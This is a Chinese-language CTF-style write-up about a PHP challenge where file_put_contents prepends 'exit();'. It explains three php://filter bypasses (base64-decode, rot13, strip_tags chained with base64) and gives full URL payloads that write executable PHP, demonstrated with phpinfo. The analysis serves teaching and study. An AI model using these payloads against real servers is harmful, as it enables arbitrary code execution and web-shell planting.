源码

<?php
highlight_file(__FILE__);
$filename=$_GET['filename'];
if(isset($filename)){
    $content=$_GET['content'];
    file_put_contents($filename,'<?php exit();'.$content);
}

分析

  • 通过filename和content参数,利用file_put_contents将内容写入文件,且无过滤,可以利用php伪协议进行绕过。

    1. 利用php://filter/write=convert.base64-decode/resource=xx.php写入。
    2. 该方式会将字符串base64解码之后写入,在base64中,<?php exit();<?;等无效字符会忽略,有效字符为phpexit进行base64解码,base64是4位一解码,因此需要补全最后一位,任意字符都可,然后把需要的字符串base64编码后传入即可。
    3. 因此payload为/?filename=php://filter/write=convert.base64-decode/resource=2.php&content=aPD9waHAgcGhwaW5mbygpOyA/Pg==
      2025-03-10T07:17:30.png
      2025-03-10T07:17:53.png
    4. 查看写入的文件,无效字符base64编码后为字符串phpexit。
      2025-03-10T07:18:30.png
      2025-03-10T07:18:54.png
  • 利用string.rot13进行绕过,限制条件:未开启php.ini中的short_open_tag短标签。

    1. 利用php://filter/write=string.rot13/resource=2.php&content=?> <?cuc cucvasb(); ?>写入文件后,文件内容为<?cuc rkvg();?> <?php phpinfo(); ?>,如果系统未开启短标签,则可利用成功。
  • 组合拳去除xml标签

    1. php://filter可以指定多个过滤器,可以指定多个过滤器进行执行绕过。
    2. strip_tags可以去除xml标签代码,手动闭合之后进行清楚,然后写入想要写入的代码即可。
    3. payload:php://filter/write=string.strip_tags|convert.base64-decode/resource=2.php&content=?>PD9waHAgcGhwaW5mbygpOyA/Pg==,利用strip_tags清除闭合代码<?php exit();?>,之后base64解码写入phpinfo即可。
      2025-03-10T07:32:24.png